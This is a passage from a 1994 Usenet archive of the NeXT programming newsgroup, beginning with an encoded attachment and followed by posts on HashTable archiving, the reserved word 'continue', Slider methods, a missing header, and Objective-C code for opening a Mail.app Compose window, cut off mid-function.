M.#-96UI/.SPX*"5@-C%!35!@)CTB5R,A73@H(B)(4C`Q2"0D6S(V(@I--3`P M.4$H."@C(T@H2#%16UPZ8#8F-D9<6#`H.B]#,U@H(5`Q0$PC(R8G,T1@-#PY M*%DZ2"@X2#Q*2D`V"DTV5C<E4B(A-$TA13%!44Q,04Y")CA',EQ8,34X.$<U M)C@T)4<G/SXY.ELC*4%.(30B1CM8*25&/20V)R0*325442PP/#0W-%(R03$Q M)"DY+#)`-DM212PT.34W7$4A53DI+B0I0S@E159@5&`L*#Y4025$0$%21R(F M)@I-(B)32#XQ)C\_2#@A2BI@0#,M028G1DP\0DDJ0D,A2#I:*BU(4R\G1TDG M339>24Y#/EE802%75CPC3DA)"DT_.BLA7#4V2$(S6UDV1E(G74LG(T-')3$M M-#5/.#@T02%805I)+T<F/#8[7"8N,DX[521953@H0"HF(R<*32961C!@."HV M3%(I22I:644A*"8B)C`O43%%-#@_7C8I-$%)1EPJ-2(\4UA@64PI/U=8*U!0 M25114&`B(PI-(E-./%4R5"I9/RA@4$M+1"U'/T=.3E8V4#0Y4%M'2"M+2T-5 M5D)'3DI75%`^)E)24E%+,3LJ5E=)0B<^"DTD/2TV,E`]-3E6,BLJ*S\^1D$U M3B,N+2XY/3I90"I'*SM+7U!&0C1/3S%8*T,J7F!>5SHF/#Q$0#LM4E$*32)& M.D%26E@B(3%.*TLK*RQ42TD[4%XI*3PX,#`D.UU!*S!#1"@R/%%1.#4Q.E\S M)%551EQ;.TQ*4B$D4PI-4"4M.2,[*"PL*%=</$TT2E-#3E-5/SXN2R)>7S=5 M3$TL6T5$(U=0454Q24,S.RY9/5<I/4!=/5!!6%=2"DU7)C='5E,K*3Q:7CU, M3%9/,TY6328E/5,S(EM"-E<_/5M-/BA'4U!36$=64T,C.S5"8$Y.8$XU3EE7 M4%`*35-02UM?*E,C.3!3,3$A.2LE)U=4)B143R,T*#M+,UTM-3%:42=;5B95 M(C%=3SH[1CI8*CPK0%(O-%M61@I-62XR3C8_1SDK0$X_7BQ3)DY65%A/+$U) M3TE33UI`.T];-RLD,ULW/%PW75\G.U<\5E-./RY=-U4Z-5@_"DU=/&`C-T5? M5BI-,R=?/C<^14)>5UY>*3]=+S0Z4EDN*R]?2S906$Q?7E]!6S=?*EQ!,U\M M(3LA4R%-33D*35!!.U8L5D!!.#!))#Q=2S%4)6!;2BQ604!%,#%@7EM,,5LW M-#HB6%4H)B\I4DM:-B9/.D4Q2")@7%HC/`I-,T5`7U`B128\6$DA)UU:7$DQ M0U8J,#HE-U=.05<F6S@P3$-%.U)*+#!9/RA>2SQ93S15+CDV.TLG3CE>"DTV M)#,B6#!1-DTJ)BLF42,C2#LY3%DR220L32HM5DHH."DE5$<C)BTX0%!-8#!@ M-%0J*$1+,RLI-3TJ.3,*34<^+S0X,%DV.R1:*S=$,"9635)((V`Q2B1`0"A< M049+)3!$)%$[1BPZ3%`H0$,^+DE0-4,P+"P[0$<L/`I-6%`P)#$F-4DE5DLR M2"E`6UE))C)`4S`N.SHQ4T9#.U)!4T<G+#(L/E!/(CDL,U$H+29%.4)1-S%0 M3#]1"DU*+#DH.#]`/"(M4&`F4SI04C4Y0$M@6C-;2&`F+3HF(2U&5D!3620P M/%E44C9@/"Y#0B4C)S)20RLE63H*34%9+51,+B@_-5DM*BX^(E$C-2XJ53@H M.CTB-%<])#@H,#(B(C%6(R)3/3E`(C`Q*"I@*#8T(R(F3UHC0`I-1SY6+%8Y M52XD*#@S0"Q@)"E.(2LO)T10,U,N/%@B7%]88$Q;7UTH(B0M(S-'0DPH5C5> M5%!`-"56*#A$"DU;45)(+V!4*F!73T(T65U?6#H](3Q?(2\D8#`T1T`R13HD M/#E:12-.52(Z0EP_,R$O*"U`5#=1*C4J+$<*32PD*2<O4DLQ0$E:8$DR(2@Z M*T@V(D`I4"1")"4P(U4S.UHJ62E")%Q8,$4L8"PD,5)$8"=.15,E(BQ*.0I- M)3A;+E`D64!;,C8Q34E+*D,P2T,A(E!833),2C8E*"HE*F!-1$]0*$-&/U!) M2RI0.D,T440L-38^,2$B"DTG/%%`04\E3#`T33\F8"DR1U(B)2PH5DDB6#1# M,C4^13Y$5DU+3C8Z0#M5*#5:1T!(0RHP0#LA634H)4P*321-3D1/-"-'+B\^ M0DLE)C%&23E%-D8X+B\G,R(D4D(K*B587DE3+U!.22<E)$<C-BTJ,S5,.SY4 M1D%',@I--"DB75<B1CU:6U,Q)48C,$$Q,#0I0T`A(CA/8#PH3")7/#I`35I= M*E`L348V54Q;5SQ&1R@N8",G72DR"DU!3F!*2E`_+R,^/3]+)$8G+DQ#02XJ M*STP,"@\6D4X5U`E-DX]*S=+.3Y-5$E61S$U0E1*1$$\+5])*3`*35@N6BHC M+$9=-#1;2T5-4RM+1F`E12)4.#)-6R9%7$\^5%`P+BL^64%<5T)'2T-;03$V M64@P04<Z,"E@7`I-2"HB7%E954LW.2U6-CI90E@P33(J)"A81UY@)"E&,"%* M8#TF-6`I,"@A3B$N,4,B0RHT0SDM3D`X)DPR"DU2+"Q`)4,D,3(F44)(*EI6 M2E5<0#!!-D1$8#!')RPF02I@1$LF158L(3)'0$0P43]%,"XK65DB(EDJ*40* M32-)62TC8%Y3-"@P22DA/R@R8$(B)%A#8$$B*2A0.B5@*TPJ.%!34T8L1$PA M+5A`,EPO0U@H24Y?/2<T*`I-8%!%+D,A5%M84D4W1CQ@54]*.CU/.4M'+$1" M.%!'*E!,(C5!(5`H0#-2)"@U0D(B)"I)0"$B+CA>/%XH"DU82EE70U@O12PW M458C0#$C+$1$-$`B.D(U03@D-%8B2C4M3")5/%4D1CE532Q&4S);2U%$3#DH M-30Z-38*3515.B8]+34X0EDH*$M#5RTG*SE0)%\X1B)`.%%$+"0L.BHB,R9> M8$`A6U@Y4%DM)#`M1R$K1T!9,DM;*@I-0RE'7#@N+#Q.3"A(/"0H-48L(B10 M3&!@45(D+EE1-B@S*#1"7R%$14)65TPX6EQ=13$[/SHT1SM?2"8J"DTW5E(\ M+SQ?.U%#,R9=6S513RY81$TI3R<I4#HA-4PQ+3M-*%Y+7%E8/$)!.5U)*B90 M2F`H529#)E!!-D8*33132%0S2T10.$]44D@Q/3DA1U]73CQ;*4\S0C-*.F!/ M+44Q-59=/5XM5$0R+"5!0TM.)T4A*4913C<E3`I-(2)$7$@P13XB2"@T2B\A M1UDZ2$Q..CHE(T5?,EPM7E`W-U)5*B9'33I=/#I:5#!2/CI%5"9@+RY9,R-# M"DU(0C]9,4167U1:7B,K.4Q-4"-)1E@Y2T\O/CXE(5(L8#5-,#<T,"<X)%)) M5E)`(SLO-C97/D-9050O.E<*35E8.$0\2UDH6"A/55T[-#PG/6`B(5]"0%PT M4U([4CTZ1U9#-#XZ+%]7+RQ",BE+,D5).B)3(EXR.CHY3@I-)D,B03]$2DPP M+"(D+5M0(3]6.T@B0S='5BE$5STH3CHR72A#+3U4(T=62E8Y.%%%6V!32U-= M*25663U%"DTT13!12STT(U1)0R1((D!,-C`R14`H(U0A1$(Z(38N1U@S55(G M0BT\32Q@/D,W)T(S(3P[,%%?0%M=)4H*35,X1UTV+B(K+#,^7$`P64,]*"HQ M,R5./2X\8"%#(EM+*$%,)CQ`/S@V25XP2RQ<1C(W*B\G)5TE/%4]*`I-6%=' M/U4W3$@L1R9.+216)$$B.%581THY32=2+U4A.$U<(40P74%%3C!@/E1<-U@K M7B=(*4HD2D1`,"A0"DT\0#E#.217*CA`/D(T,#Q.)%%?)R@S,2)8*",M55$Z M7B$T2RHP1%8Z74565#`X*4PX*"E;22@F/50R36`*35Q'7R=`-$5%/"%)1B$G M6BU1)U,N25%*+5TW5BTE0#$M-&`Q)$0E/5LI,#==/$=5-S`Q3C@Y)5H\,#`[ M.0I--2(W)4A"-3%-1CPI0%<U/U8E0351-DY1,3$V/RPP/4-$(S,A(35=3$DP M*S<X0#I:320D*2Q8.$]`2#!/"DU81V!$1#=)-E!6*2D^(CQ*(B@U+%`E/C)% M*#-26$`Q+%HH,B(R*$!933`J3#%8/RHU."1`4&`X53145C<*34TW-SDM4CY, M0550+DDV*$\D4"A78$(S8#0U5"5`0"E)3B@X0$%755(L1E([-B%"-%XA/#<] M.$E23&`V-`I--B(_6"$G/EQ95UM0.5A**4PX.E0^8#I=(3<T1%PR55):)$E7 M*$A,62TX14<P)41&-3%*74DG,$@P)$9:"DTZ(4=0,$A14RHH4#=$,"-?.3A7 M0S@V-F!!6$Q3/B%23$554B,M5T(H7$`H3V!@*2DP)R9=05@V4$TR,2T*33!1 M.%$R)$%,8"%2.5PW6C8D-4Y9+2%:*&!&0$%@(EU!-"A133Q2+5`H8#E2/"<N M4C8A0$)@8"D\,&`\0@I-6"8L,4%1*"E0*%5-0%A354TQ.C<J*$X[(5`K1D(A M*T%.*#$M7B@Q6BTX03(D)TA<*$$].%58(E%%45(["DU0,5)>.5$[(D5126`Z M*#)003%43DXW33Y1)T@Q/B%')C`X)#8J(3Q6.B@J*D@P.4]-(3PA2C1,+48G M7"D*32Q"43)(,&`S)5@Y+%TV24U6)DY60$@Z72XF33Y!-#E/0$0Y5%XH.RPH M.2(T73DR1TE8/#<L,#Y&1#<V20I-0#`I.BA(.4A-)CY<2B@Y*3A0*2<N,5A( M-44[.2Y@.D,B8"HA+BDI7$DQ-5E42%`R32$]*3Q0.B4H,#L^"DU2)"5</#=( M(C1544HB(3E&0&`I4T8S,$(T8"E&,#E$0#`I1F`\1%U1,CE#5TDD)RXA,"A3 M-"D^6$9@8%T*35A246`T4#A*0F`H1DPI1B4X,"@Z/2E"540V53U4-B$Y+C0W M0S`P/$HR8#5/7"9*(S8Y03Y=6%<M.BDA6`I-36`[1%8H1#)".3]<2$@I(4PH M03)8*3Y8)BE!*%116B4V,4%!8"E,3TA90TTA-4E86C`Z+R8Y1"HZ.4=`"DTV M.45'1"E&2U8Y2CQ:.4I-0C)6/RXU7S@V(4Y%4C,C,$1)2T4^-%]'7CE(15TY M6"TQ(TLR*$D^7T8X5E(*358S.E0Y24P\2$E26E(Y3S(^,5<T5CE</$(X3R(R M,5,E+C5;)T8Y/D9`4TLL6CE28"HS)34T,4(L,4-.8`I-.2E73T!)55Q(.58N M(CE$(EXY5T(^.4=",CE:3#Q47BPY0"@\.D`J5TQ96D)6.%)$)C-*1B(R5#-& M0TA&"DU,*BA&5"HH3SY#3E`N.291,5E-,C$D-2T],TDK-"I@/DU:*#LV04%@ M0DA,)2194%8Q25`N)3HT2D%)4CT*340Z+RM2.3\M)C<D-UY#,#E>0THE4#HE M2S`I5#Y&24`G42E#.U8Y5$5&0D-!0CHI4$))1B$P2BU?05$H6PI-5DE(7E9) M244^1%]*0C543RPZ+#)".5Y#*%%864I)2%Q&2C]772HR5B@Z0D=..5\X)$HS M7U(V,24^24TZ"DU*2C$W4#18.BY*.2Y&2B)0)CHT2%0Z(31&0&!9)%HG7%Q$ M(2(T*B4^0D$K,#(T)4DT.4%'0D`H0$I*.$,*35I)54X^2BE2/D1>3#I`*#=5 M*45?6#H^058Y6%521"(C-D`Z1DI)2EE.2DY.2CHA(DY&,21.0DTF.DI*-@I- M,D%@2%`J2ELZ25\M6BI$1&`Z2"\^2C59.CI).R9(-#9*2D@X,DI7,U(Q4D\F M2DQ"4DE41$I$3$8F2CQ)"DU624LG5DE)0D0I6ET^0C],1CI(4U%:0"XA)"<F M5DE+*#I*5R$J0THM2DE*+RY)2C%62E`B,D`_/B9*53(*33%*6"A205`J0DI4 M-T@Z53520F`I0"HU*BDP-2%$8#9(7DD_0B)*.D-$0#]'1DH[25)*.TPV2D]$ M)CLK50I-(D%"8$9*7%8B25Y$8%,D1D@K*C`N2C(S+5I$/#Q`,C]$0#PL0E`H M5"):-"PN2C<[/DLE63XP,#I&4#4A"DU08#$P)"8X/5Y94#@F2RE&0DA/-S([ M*BU*.EI4+DE'3S))7%LR6EX_*C`L34985UHF2RY*7CLN*UY+*UD*32HQ6BY* M2E`G/ELO+CY)3%HR45\^.#))050K+3`B6R8])DLS(RX[,#@R4#$E.&`Q(2PF M63]02C1:0"A,0`I-4DDY+R4U-#PR)394)D<I6%I:(EA:)6`X0EA`058[,3]2 M04\L4#`Y4E)6,3\H)4DI3ELQ(3@I5C(N)UE4"DTX)B%7)$E$0#0E(E(B*4U, M+3A&-#%@/5=-,C4]7$(U7C4P,4]56%)8)BA)0S@A/$@H*THE1#DB3$I1.C<* M34DZ8$I,*TY-1EA20B9;4B<Y6T\M1B<R2"DX5U@V8#A@*CDA/S913U\E.457 M5EA1/SA;25X^0"D[5"4D/@I-+E<L14Y:6DY))2Q&,DE:15Q!-24E6V!72DE< M)$);1TA&55`I4"M37BA)8"<M038Q5C<P02PD73U<)%Q%"DU!,2M0*EM?,2(E M2R\F6U<W6BHW+38K54`V-2@R3EHC*D)1*$!6134F*"A=,45(140P*U%*,#E5 M35)+0S@*35Y:)U@\52='5E%362Y71CM>4#(])E8[8$Y+.5==035%)#)73B90 M.51@,B<^-2@G4&!(7C<J6SPQ5EM"00I--DA;75HI)"(^(5%#7C0R0C%132E( M*"TW52$V.%4A4TY*(E);*$%22SPQ4S!))TY=22%"43U9.%)6-BM."DTV*4%5 M,"<E1C@H-TPN)$]'-5%")E4H(E0Y458N52@J1$PW35]=+#%'0#=9*THP*R18 M23(R4B)1,4XZ,4T*321'42,J(5)4/4$U)2M@/3TZ-35'-B$V0BI:14A18#)- M1EA%.TU9)B@I6THP0BA;2CXE-"$H0#H]1#PP+@I-73DG3D%2+51<*4,N.217 M/THQ0$4L8#XY+C`Z7%);.3<X/$%"73$\03=@,2\X8#`A.4-&/3@Y/E5<.252 M"DU7)3%-*C9<2$0L1R(P/"U<6EL^8%)94B50-C4S3"DD)413+2$K(3P[/5%* M/20R(44_*#`L+B=/3S@Q5E$*33U77CTL/#DE7B@A1U<E0E@Q5$$K.$@W4BU1 M75E((4,P621',"-@*S)3*"DG4B=*,S0W3S!57#4H*R(]2PI-030[6CU1)2-7 M*&`_4R%1731`/CPH.$4W3B),32@A6BY@."Q*3C8Q/R@W75(V44$M3RPY)%1% M0SHK(B-0"DU4-59"4#`[53`V)$`L14Y0730]1&`\255<(4=25RPI,R8L-D5@ M,5$^3R$^4"U82SE=+#DO)CQ-5EHE0E`*335)-RXN(5E81RDU6D,L328\+2E8 M/BQ.45U,)3TV/#Y:5#%(3BU&62PD*3HR7BPL(UU'(2DF+"HR2EA!/`I-(DA& M-2\G)C@_+#X[1R)"22XL2DM.8#8[-B<Q+RA#(E9'*%!7/$A&5B,L4%LO)CXP M2CTD-TTW3$%'+$U?"DU24#(A)E@T22E))3TE.ST_7#PK)SE1450\+$!`,"TP M/U%+12HZ7"@Q+C<N6SU2/3I033E3,E@Z+R8F(3T*33<Y.4<Z-S5>7B(J,$(K M)5LB.EM8/D$G,%8Y3S=@.4PA.DHQ/UY@.DDR/"]3+CLO4DI*8$!&33`U7BE! M+PI-5$I;048Y1C!;.49'1RQ*4#([)D(Z25!325U!(UQ:5$0F.EE;0BHF12<[ M-RTN+48T5DDZ-E\]23M564I,"DU6.4=4(DE./4,T42I3.$U&*"U*5BY)6B4T M/4PP+ET]5T!,2DI#+"\[,DI).4)*,C1>6R8V4EHR.E9*)E@*34(M3#PT348E M0DU&)U9)2%]2340G62U&-SLM4RA;.EH_1RI$0#`J.D9?+5)(*SU4-2):)DTK M.B4H(DU-70I-5CU!*F!:.SI?/5H[.DI;/3<Y3C1+/4TZ5DU/5RTM6U==*B\A M,SM#1S,]4C]+/5I56DI;3",W*TXS.C@I"DU:35!`8"U622L[,#526E9%(D0G M-R\]34!:2R(F+CY@6"I<33=(.4\E0DU'45)*3R)?/B(V(RU*34P]6E<*33I. M*U%//B=3*SHU639=7$!704<^+DXJ+B\Z6E\U.ELU0CXI35Y=5EI;.E0H.T`H M3T-)65PZ35@B0%U85`I-/TU0,U]*.%<W3C`O2EE:1R<]5%Q;2T)+(SM%)3Y; M,2)735XV)ELJ,C,^(EE//BE/7"LX-D%-141:7&!2"DTW35)!0SLK34P[+%E3 M3B=43SU+0S$[,UPX2S`[-EPK6E<Z-S\N7C!`3ELT(C]-34I+3C%,6TXY7E<^ M,54*35)97%$O3C0P1TU954-+-$A&24554EXW4EL^-C]:3B5<*TX[7#!-.ELK M*T`N*T,B23%`/DLU03I-54`Z3PI--4X\.E\N1%U+2U(Q1EA`0B(Z6D=71B)# M,3U<2%0Y)$1<.21?5V`^5BY<4E(H0CX_.2TJ4S,D/3A/(3TT"DU7*"$[,2%* M4D9@.C@H,C!95B@C*5<A.392)DTO34@U+#8R4$5+,R$L639=,D(]+E9;)B4Q M34P^23HH.3X*33H\6E$U/"](1ET\-U@Y-S8N74`A5B57/TTT(5-/+BI4-RY; M2"-)-$HS02%.4CY94BH[5S16/"E?14,L50I-4EI13$9;8"M.64P^.5XJ/")+ M,3]'3"PV0ELF8%-+)B)275\P0CXY,E)<)BLF.UDW/EI,4T)>/C\F,"\S"DU* M6UA07E,A0T)>/"E+7#PH.EHQ3C-+/$PK7R92(TXY-EI./CT\,#$M3#\L7%=? M+%Y?7RU@)U\Q(B]?,20*33=?,28_7S$H1U\Q*D]?,2Q77S$N7U\Q,"=?-2M< M/#8E42)?+#<G3S<W3%571BPX/$U<.SQ;3#DM7CY620I-+TY82E,^75E7(35" M(3Y>6UE(.%@C/$LE5EI1-S`\04HP/$D\,CDX1%A?.4I,/$-)3BA9-5P\0C%3 M+%HS"DU7+"U)-#Y%*U,]*2U7/$8_)RQ)1RM0/50_431(54XV2T,C44I'4")0 M(RY;7RM`/UXU3$TL5SY>1#M-.EP*33LA03U133<B/RDI-#0\4S5(-U$Y.U$[ M*S,D0T-?+%-"4B]++2\L548[(3M9,50[.$,D."DK,4L\6RQ53`I-.2%702\L M6DDO72]'6R]//21'52<O)$],3RP_3TLH620O+%Y6/$`[5B,M/S(Y5UE.3"Q? M0V`T3R(Q.#4]"DTD/2-.)T`X)#LT.%]6)BI,15TA14PM(554+6`O5S@H,B<X M+28T32170BTG-"TL7#@L5$<^6RTG1B%=*S@*32LM*3PB+#U;0#Y36C-$/$E3 M-%9,+2141E)-8#XF0D0L-T)#.5HY6R9@1RE*1DPE,SY56DE*0S0X1TX[,PI- M74`I,"93-2);,%@Q+35/)T<I8#I8/2U<04Q=+2HX.2])2$I40U4Q2RLI4$A@ M-$-@8#U`.2M)*#Q4)DE7"DU#*DPE+3I<5E-<*SHT+BU+/SI.3$<S-C)%+3E& M4T5)2S@V64U"/$90320_-S%)0D!`5#%;*S8G6$TX(S<*338F,$`A0C`I.4Y$ M5"8K.2<M+T4\5EI'*CXH-RY38$9&8%<W0B4E5BI*5E(W6S`A2BE/+E16,CL] M1SHA4@I-)$!;,T,[.T510#=35RA:2SXQ,R]/359%3RHR/%)-44-86"I6(SU8 M3$Y,3D=&63$S1%]-330D6S)9.TLA"DTM7B\R*"D[*S9,4BU47D18,UD^33`I M5C5(1EE34#M)03`Z/T574EH\1%1)4S==(V`H.D1&25XA/$4I6C(*33Q&/U!@ M55I:,%E#22LI4CA@1R)@46!44E!(1T4B)4<[)RXP-S9,2"XX2D-?04XD,D<Q M6RQ!)E-.4"A$5PI-+R0W/ETE,B,Z5#LC2S$B+E!.,398/"DT1%`H1"8P6U); M.T4Q/3U=(E<A-40[)450-39&62M'0"M$45`_"DT_8"Q-,T!06BXW734A0#Q! M)D%2)E$Q(R<Z,T!=+5\F1C93+"0\02%$5"Q$5C!6/EDH*5A-)2)16TPK*%$* M32XQ/R<C."4[12,N(T$I(RY5.T!+15U04D13331!+C`P(T$X1S0Y/U-2+5!$ M2R516T`^+5DP-DTX5CU0/`I-22E-65`G(RXQ.T%!2BY%*$=#*$Q!4U@N658V M3#`G/S=5*B<F/E5**%M,0$U1*#,U)"<_-DA8+5-")%@P"DTQ1#$J*5!35T@Q M230[3BA,*2I+(B-#/TL[35L^4D@F12--/DU1(TXQ6D4[/28V055+5E@_44M) M)BXN3"8*34,D.$PZ2SQ.34!7(EPL*TM/320L3V!#8$-$2"E.4"4C6R4B+4P_ M+4A?0%]`4CE-13512B1$*RTK-R-$+0I-*T1$6R=5,TU*)$=*4E<Y2C@]3E4L M.2@V45)2/TXJ+4,Y-E]3*SM97BU9-UXF*TT[-S,X+6!.*E0^/SPT"DU:75=' M4CA*.#M=74TO24%&3BLS0D)304Q01B=`4SHF(CE<+2(S7$X[,S!/3S8Z-R-' M3S0O.U%!)B,G+#H*35P^*RE01"TG)U0[-E%:33HI1DQ<12)?4S$O*UQ%+$0C M-48E*UDX5%Q>2B)6.RDY5TA0+%%37B4]2D-`)PI"1V`Q0C%+,5@T0EQ76DP[ M/5(A35M(5E]<0SQ@42Y@2R=8-$`\0EHM42\H620C63E7"F`*?0JL?5QP87)D M7'1X,3$U,EQT>#(S,#1<='@S-#4V7'1X-#8P.%QT>#4W-C!<='@V.3$R7'1X M.#`V-%QT>#DR,39<='@Q,#,V.%QT>#$Q-3(P7&8P7&(P7&DP7'5L;F]N95QF M<S(T7&9C,%QC9C`@7`HM+5P*061V;V-A=&5S(&9O<B!T:&4@0RLK('-C:&]O M;"!C;&%I;2!T:&%T(&$@=V5L;"!D97-I9VYE9"`@("`@("`@("`@(%EV97,@ M07)R;W5Y95P*("`@('!R;V=R86T@9&]E<R!N;W0@;F5E9"!T:&4@97AT<F$@ M9FQE>&EB:6QI='D@*&$@;&EE*2P@("!9=F5S+D%R<F]U>65`:6UA9RYF<EP* M=VAI;&4@861V;V-A=&5S(&9O<B!T:&4@3V)J96-T:79E+4,@<V-H;V]L(&-L M86EM('1H870@("`@("`@("`@*#,S*2`W-B`U-R`T."`V-%P*("`@('1H92!E M<G)O<G,@87)E(&YO('!R;V)L96T@:6X@<')A8W1I8V4@*&%N;W1H97(@;&EE >*2X@("`@("`@("`@("`@($YE6%0@36%I;%P*"GT* `
From: patersk@gb.swissbank.com (Kevin Paterson ) Newsgroups: comp.sys.next.programmer Subject: Archiving HashTables Date: 19 Apr 1994 14:38:06 GMT Organization: Swiss Bank Corporation, High Timber St, London, UK Message-ID: <2p0qce$ob3@gpo.gb.swissbank.com> Keywords: archiving, hashTable Has anyone ever had the need to archive a hashtable? I attempted to do so but I seem to lose the associated object keys. The code I use to archive is simply; NXWriteObject(stream, hashtable); Can anyone shed some light ? Thanks Kevin Swiss Bank Corporation, London.
From: meyergru@Informatik.TU-Muenchen.DE (Uwe Meyer-Gruhl) Newsgroups: comp.sys.next.programmer Subject: Re: Bizzare Bug: using "continue" as a variable Date: 20 Apr 1994 11:57:53 GMT Organization: Technische Universitaet Muenchen, Germany Distribution: world Message-ID: <2p35c1$l9j@hpsystem1.informatik.tu-muenchen.de> References: <2p2c4g$ec8@nntp.ucs.ubc.ca> Originator: meyergru@hpradigc.informatik.tu-muenchen.de In article <2p2c4g$ec8@nntp.ucs.ubc.ca>, mike@ceramics.cmpe.ubc.ca (Michael C. Cam) writes: |> |> Hi, |> |> I've got a really bizarre bug. |> For some reason or another I cannot use the variable "continue". I get an |> error message when compiling using ProjectBuilder. The problem can be |> recreated by creating a New Application in ProjectBuilder and adding the |> following files: |> [munch] |> |> If you change "continue" to "continu" (or anything else for that matter) |> it will compile without any problems. Any comments or experiences with |> this matter? |> [munch] Huh? You find that bizarre? "continue" is a C keyword, and therefore cannot be used as a variable name, just like any other keyword, e.g. "int", "while". cheers, Uwe Uwe Meyer-Gruhl "And if I die today I'll be the happy phantom Lehrstuhl Informatik IX and I'll go chasing nuns out in the yard" (TA) Technische Universitaet Muenchen email:MeyerGru@Informatik.TU-Muenchen.DE Orleansstr. 34, D-81667 Muenchen tel: ++49 89 48095-209
From: cosc19vo@bart.cc.uh.edu (Naveen Puttagunta) Newsgroups: comp.sys.next.programmer Subject: Problem with Slider - setAltIncrementValue Date: 20 Apr 1994 11:40:35 GMT Organization: University of Houston Message-ID: <2p34bj$t0c@masala.cc.uh.edu> Keywords: Slider, Interface Builder, Application Builder Hello Everyone, I have the following problem when I try to use Slider objects using the Interface Builder. I am trying to set an Alternate Increment Value for the sliders using the method : setAltIncrementValue:. The object (created through the IB) is an instance of the class 'Slider'. According to the documentation, the methods setAltIncrementValue: and altIncrementValue are implemented by the SliderCell class. But the message (from the debugger) is that, the slider object doesnot respond to the setAltIncrementValue: method. When I tried to send these messages to an instance of SliderCell, the object is responding to the methods, but returning erroneous values. Is my understanding that : All control classes use instances of the corresponding cell classes and forward messages to those instances : correct ? I am using Release 3.0. Does this make a difference ? What am I doing wrong ? Thankyou for your help. Naveen. ------------------------------------------ Naveen Puttagunta (713) 667-7463 naveen@cs.uh.edu cosc19vo@simpsons.cc.uh.edu (NeXT Mail) ------------------------------------------
From: starksm@genesis.mcs.com (Scott M. Stark) Newsgroups: comp.sys.next.programmer Subject: Re: Bizzare Bug: using "continue" as a variable Date: 20 Apr 1994 10:19:30 GMT Organization: MCSNet Services Distribution: world Message-ID: <2p2vji$ouc@News1.mcs.com> References: <2p2c4g$ec8@nntp.ucs.ubc.ca> In article <2p2c4g$ec8@nntp.ucs.ubc.ca> mike@ceramics.cmpe.ubc.ca (Michael C. Cam) writes: > - dummy > { > int continue; > > return self; > } > cc -g -O -Wall -I./sym -arch m68k -I. -c Dummy.m -o /m68k_obj/Dummy.o > Dummy.m:8: syntax error, missing `;' after `int' > *** Exit 1 > Stop. > *** Exit 1 > Stop. > > > Mike, continue is a reserved word in C, C++, and Objective-C, and cannot be used as an identifier(variable name). Look at a discussion of allowable names for functions and variables in any decent C reference. Scott -- Scott Stark Stark Internation Software 4950 N. Marine Dr. #102 Chicago, IL 60640 starksm@genesis.mcs.com (NeXT mail accepted)
Newsgroups: comp.sys.next.programmer From: yiannis@prologos.nrl.navy.mil (John Michopoulos) Subject: Where is NXargv defined, or where is defaults.h ? Message-ID: <CoK4zy.240@ra.nrl.navy.mil> Sender: usenet@ra.nrl.navy.mil Organization: Naval Research Lab, Washington, DC Date: Wed, 20 Apr 1994 12:21:33 GMT In trying to recompile some old code (2.1) with some modifications under 3.0, I realized that /usr/include/apkit/defaults.h where NXargv was defined, does NOT exist anymore under 3.0 !!! The Librarian does not give me a clue! So I would greatly appreciate it if someone would inform on the whereabouts of defaults.h Anxiously waiting for your responses, --john m. ------------------------------------------------------------------------ |Dr.John Michopoulos (yanni)| Tel: (202) 767-2165 or -2189 | | Research Scientist | Fax: (202) 767-9181 | | Naval Research Laboratory | e-mail: yiannis@prologos.nrl.navy.mil | | Code 6380 | michopoulos@ccf3.nrl.navy.mil | | 4555 Overlook Avenue, S.W.| michopoulos@anvil.nrl.navy.mil | | Washington DC 20375-5000 | send NeXTmail to prologos.nrl.navy.mil | ------------------------------------------------------------------------ | A glimpse of a dream: Let's build rational amplifiers to move facts | | swiftly and massively so instead of crafstmen we become artists of | | research and discovery in both the physical and the conceptual worlds.| | Dreams are facts in the conceptual world anyway. | ------------------------------------------------------------------------
Newsgroups: comp.sys.next.programmer From: hugh@hodain.ci.net (Hugh Secker-Walker) Subject: Messaging Mail.app with boilerplate for a new Compose window Message-ID: <HUGH.94Apr20090505@hodain.ci.net> Sender: hugh@hodain.ci.net (Hugh Secker-Walker) Organization: JTA Date: Wed, 20 Apr 1994 14:05:05 GMT The problem of having applications bring up a boilerplate Compose window in Mail recently came up and was solved in another forum. Seems lots of people wanted the answer. Here's the solution I'm now using. Included is the relevant protocol spec for Mail, a general sendMailTo::::: method, and my specific sendComment:sender action method. // Mail.app public protocol, thanks to mike@afs.com thanks to .....simsong // Accessible through port MailSendDemo @interface Emailer(ObjectMethods) - openSend; - setTo:(char *)toField; - setSubject:(char *) subjectField; - setCc:(char *)ccField; - setBody:(char *)bodyField; - deliver; - openSend:(int *)sender; - setTo : (char *) toField inWindow:(int)sender; - setSubject : (char *) subjectField inWindow:(int)sender; - setCc : (char *) ccField inWindow:(int)sender; - setBody : (char *) bodyField inWindow:(int)sender; - deliver:(int)sender; @end // Stock a new Compose window in Mail.app and optionally deliver it. // Any char* args may be NULL. // By Hugh Secker-Walker, based on code by Simson Garfinkel. - sendMailTo:(const char *)to cc:(const char *)cc subject:(const char *)subject body:(const char*)body deliver:(BOOL)deliver { Speaker *speaker = [[Speaker alloc] init]; port_t portSend = PORT_NULL; int window = 0; id ret = self; // make sure Mail.app is launched port_deallocate(task_self(), NXPortFromName("Mail", NULL)); // get the MailSend port portSend = NXPortFromName("MailSendDemo", NULL); if (portSend == PORT_NULL) return nil; // make speaker use the port [speaker setSendPort:portSend]; // open a new compose window in Mail, get window number if ( [speaker selectorRPC:"openSend:" paramTypes:"I", &window] ) ret = nil; // send the fields to the window if (ret && to && [speaker selectorRPC:"setTo:inWindow:" paramTypes:"ci", to, window] ) ret = nil; if (ret && cc && [speaker selectorRPC:"setCc:inWindow:" paramTypes:"ci", cc, window] ) ret = nil; if (ret && subject && [speaker selectorRPC:"setSubject:inWindow:" paramTypes:"ci", subject, window] ) ret = nil; if (ret && body && [speaker selectorRPC:"setBody:inWindow:" paramTypes:"ci", body, window] ) ret = nil; // deliver mail if (ret && deliver && [speaker selectorRPC:"deliver:" paramTypes:"i", window] ) ret = nil; // tidy up [speaker free]; port_deallocate(task_self(), portSend); return ret; } /* Set up a Mail.app Compose window with comments. To: is set from title of button which sent this action. [NXApp delegate] is expected to implement the following: - (const char *)appVersion; - sendMailTo:(const char *)to cc:(const char *)cc subject:(const char *)subject body:(const char*)body deliver:(BOOL)deliver; */ #define NXDel [NXApp delegate] #define BUF_SIZE 256 - sendComments:sender { char *to, *subject, *body; id ret = self; NX_MALLOC (to, char, BUF_SIZE); NX_MALLOC (subject, char, BUF_SIZE); NX_MALLOC (body, char, BUF_SIZE); // To: taken from title of sender (a button) sprintf (to, "%s", [sender title]); // Subject: sprintf (subject, "Comments, bugs, 